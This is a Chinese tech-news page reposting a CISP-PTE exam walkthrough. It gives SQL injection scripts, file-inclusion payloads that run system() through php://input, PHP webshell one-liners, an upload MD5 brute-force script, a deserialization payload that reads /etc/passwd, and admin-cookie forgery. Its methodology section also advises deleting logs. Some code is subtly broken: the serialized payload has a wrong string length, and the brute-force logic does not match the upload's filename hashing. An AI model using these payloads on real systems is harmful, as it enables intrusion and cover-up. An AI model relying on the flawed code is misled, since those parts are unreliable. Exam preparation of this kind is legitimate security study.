当前位置: 首页 > news >正文

CISP-PTE真题实战:从SQL注入到文件包含的渗透测试全解析

1. SQL注入实战:从手工测试到自动化脚本

SQL注入作为Web安全领域的"常青树",在CISP-PTE考试中占据重要地位。这道真题的特殊之处在于它屏蔽了常规注释符#和--,这直接废掉了大多数入门级注入手法。我在实战中发现,题目设计者故意在注册环节留了后门——虽然文章发布时过滤了注释符,但用户注册时却可以正常使用。

先说说我的踩坑经历。最初尝试用时间盲注,写了下面这个脚本:

import requests import time def database_name(): s = [] for i in range(1, 5): for j in range(32,127): startTime = time.time() data = { "title": "' or if(ascii(mid(database(),%d,1))=%d,sleep(2),1) or '" % (i,j), "content": "test" } response = requests.post(url, data=data) if time.time() - startTime >= 2: s.append(chr(j)) break print('Database:', ''.join(s))

这个脚本虽然能用,但效率太低。后来发现更巧妙的解法是利用二次注入和字段闭合。具体操作分三步:

  1. 注册特殊用户:*/'test');#
  2. 用该用户发布文章,payload形如:AAA',(select database()),/*
  3. 换普通用户查看文章内容

这种方法的精妙之处在于利用了MySQL的注释特性。当插入语句执行时,/*会注释掉后续内容,使我们的select查询结果直接显示在文章内容中。相比盲注,这种方法可以直接回显数据,效率提升十倍不止。

2. 文件包含漏洞的六种利用姿势

文件包含漏洞在CTF中常见的有两种基本形式:本地文件包含(LFI)和远程文件包含(RFI)。这道真题的刁钻之处在于会自动给包含的文件添加.txt后缀,这直接封杀了常规的php文件包含。

我尝试了以下几种方法:

  1. php://filter链式利用

    ?page=php://filter/read=convert.base64-encode/resource=../config.php

    这种方法可以读取源码,但需要额外base64解码

  2. data URI注入

    ?page=data:text/plain,<?php system($_GET['cmd']);?>

    实测发现会被追加.txt导致失效

  3. 日志文件注入通过User-Agent注入PHP代码,然后包含/var/log/apache2/access.log

最终有效的解法是结合php://input流:

curl -X POST "http://target.com/index.php?page=php://input" -d "<?php system('id');?>"

这种手法的关键在于:

  • 使用POST请求发送PHP代码
  • php://input会读取原始的POST数据
  • 避免了文件后缀的限制

3. 文件上传的突破技巧

文件上传题目看似简单,实则暗藏杀机。这道题的特殊之处在于:

  1. 对文件内容进行检测(会查杀eval等危险函数)
  2. 文件名会经过MD5处理
  3. 后缀名保持不变

我尝试了三种突破方式:

方法一:图片马绕过制作包含PHP代码的图片马:

exiftool -Comment='<?php system($_GET["cmd"]);?>' image.jpg

但题目会检测文件内容,此方法失效

方法二:.htaccess配合上传.htaccess文件:

AddType application/x-httpd-php .abc

再上传shell.abc文件,但服务器配置限制了此方法

方法三:写入器攻击上传一个PHP写入器:

<?php file_put_contents('shell.php', base64_decode('PD9waHA...')); ?>

然后通过爆破MD5值来触发,脚本如下:

import hashlib for i in range(100000): filename = f'shell{i}.php' md5 = hashlib.md5(filename.encode()).hexdigest() url = f'http://target.com/uploads/{md5}.php' r = requests.get(url) if r.status_code == 200: print(f"Shell accessed at: {url}") break

这个方法虽然笨,但在限制较多的情况下往往有效。关键在于持续发送请求直到命中我们上传的文件。

4. 反序列化漏洞的实战利用

PHP反序列化漏洞近年来愈发常见。这道题目给出了一个简单的反序列化入口:

$data = unserialize($_GET['str']);

通过分析,我们需要关注以下几个魔术方法:

  • __wakeup():反序列化时自动调用
  • __destruct():对象销毁时调用
  • __toString():对象被当作字符串使用时调用

构造payload的关键步骤:

  1. 确定可用的类及其方法
  2. 寻找存在危险操作的魔术方法
  3. 构造恶意对象序列化字符串

例如,如果存在如下类:

class VulnClass { public $cmd = 'id'; function __destruct() { system($this->cmd); } }

我们可以构造:

echo serialize(new VulnClass()); // 输出:O:8:"VulnClass":1:{s:3:"cmd";s:2:"id";}

最终的利用URL:

vuln.php?str=O:8:"VulnClass":1:{s:3:"cmd";s:10:"cat+/etc/passwd";}

在实际考试中,往往需要结合源代码审计来定位可利用的类和方法。一个实用的技巧是使用PHPGGC这类工具来生成常见框架的利用链。

5. 失效的访问控制与越权漏洞

越权漏洞在Web应用中十分常见,这道题目模拟了一个典型的水平越权场景。解题过程分为三个关键步骤:

  1. Cookie分析: 通过浏览器开发者工具,发现身份凭证存储在Cookie中,格式为:

    {"user":"normal","admin":false}
  2. 参数篡改: 将admin字段改为true,同时将user改为admin:

    {"user":"admin","admin":true}
  3. 编码绕过: 发现系统对Cookie进行了base64编码,因此需要先编码再发送:

    import base64 malicious_cookie = base64.b64encode(b'{"user":"admin","admin":true}')

在实际渗透测试中,还会遇到更复杂的场景,比如:

  • JWT令牌篡改
  • Referer头校验
  • 二次认证绕过

一个实用的技巧是使用Burp Suite的Comparer功能,对比普通用户和管理用户的请求差异,快速定位权限校验点。

6. 综合渗透测试方法论

结合上述漏洞,我总结出一个适用于CISP-PTE考试的渗透测试流程:

  1. 信息收集阶段

    • 使用nmap扫描开放端口
    • 目录爆破收集潜在入口点
    • 分析JS文件寻找API端点
  2. 漏洞探测阶段

    sqlmap -u "http://target.com/search?id=1" --risk=3 --level=5 nikto -h http://target.com
  3. 漏洞利用阶段

    • 根据漏洞类型选择合适exploit
    • 编写定制化攻击脚本
    • 建立持久化访问
  4. 权限提升阶段

    • 查找SUID文件
    • 内核漏洞检测
    • 密码哈希抓取
  5. 痕迹清理阶段

    • 删除日志记录
    • 清除临时文件
    • 恢复系统配置

在真实考试环境中,时间管理尤为重要。建议按照"低垂果实优先"原则,先拿下容易的漏洞获取部分权限,再逐步深入。

http://www.gsyq.cn/news/1601058.html

相关文章:

  • 企业级Web漏洞扫描实战:基于DDDD构建自动化安全检测体系
  • 2026图片去背景变透明工具全解:电脑手机免费抠图透明背景渠道指南
  • 模型评测体系构建:从单一指标到多维 Benchmark 的工程方法论
  • Goblin钓鱼演练平台:从架构设计到实战部署的终极仿真指南
  • EasyGUI 实战指南:从入门到快速构建Python桌面小工具
  • HVV行动之态势感知平台(二):从海量告警到精准研判
  • No.054<软考>《(高项)备考大全》【冲刺8】《软考之 风险管理实战:从工具到策略》
  • 如何用Sketch MeaXure实现设计与开发的高效协作
  • 逆向解析美团外卖mtgsig3.0签名算法:移动端安全加固实战
  • STM32启动模式深度解析:从硬件引脚到程序烧录的实战指南
  • 终极Windows按键映射指南:QKeyMapper让你的游戏操作焕然一新
  • 从零搭建STM32F103与SHT30的TFT温湿度监测系统
  • Prometheus进阶查询实战:从运算符到子查询的深度解析
  • macOS微信防撤回终极指南:技术原理与完整部署教程
  • 混元3.0智能体架构解析:从Prompt工程到Agent架构师的范式跃迁
  • ZYNQ PS与PL高效数据流:DMA驱动的Streaming接口实战
  • 魔兽争霸III终极优化指南:三步解决宽屏适配与性能提升的完整方案
  • 基于浮空飞艇的广域穿云全域感知、虚实孪生建模重构及自愈合宽带专网融合指挥系统技术方案
  • 从LTP到BRINT:LBP改进算法的演进之路与实战选型
  • 终极窗口置顶指南:如何用AlwaysOnTop让重要窗口永不消失
  • 告别网络壁垒:手把手部署nfs-subdir-external-provisioner离线镜像全攻略
  • 你的聊天记录被“锁“起来了?三分钟解锁微信数据库的实用指南
  • 面试官灵魂拷问:如何用 C++ 线程池避免死锁?大部份人答不上来!
  • Kali 2023.1 实战:一站式部署DVWA渗透测试靶场
  • 【ns-3】集成5G-LENA模块:从源码到仿真的完整指南
  • Docker容器化复现CVE-2018-2628:WebLogic T3协议反序列化漏洞实战
  • 深入剖析CVE-2025-29927:Next.js中间件安全漏洞原理与加固实践
  • 三步搞定:如何在浏览器中免安装使用微信网页版?
  • 瑞萨RX MCU调试接口电路设计:JTAG与FINE连接详解与避坑指南
  • 软考十大证书含金量金字塔(2024最新版):仅3个进入国家级人才目录,第2名被92%国企列为晋升硬门槛!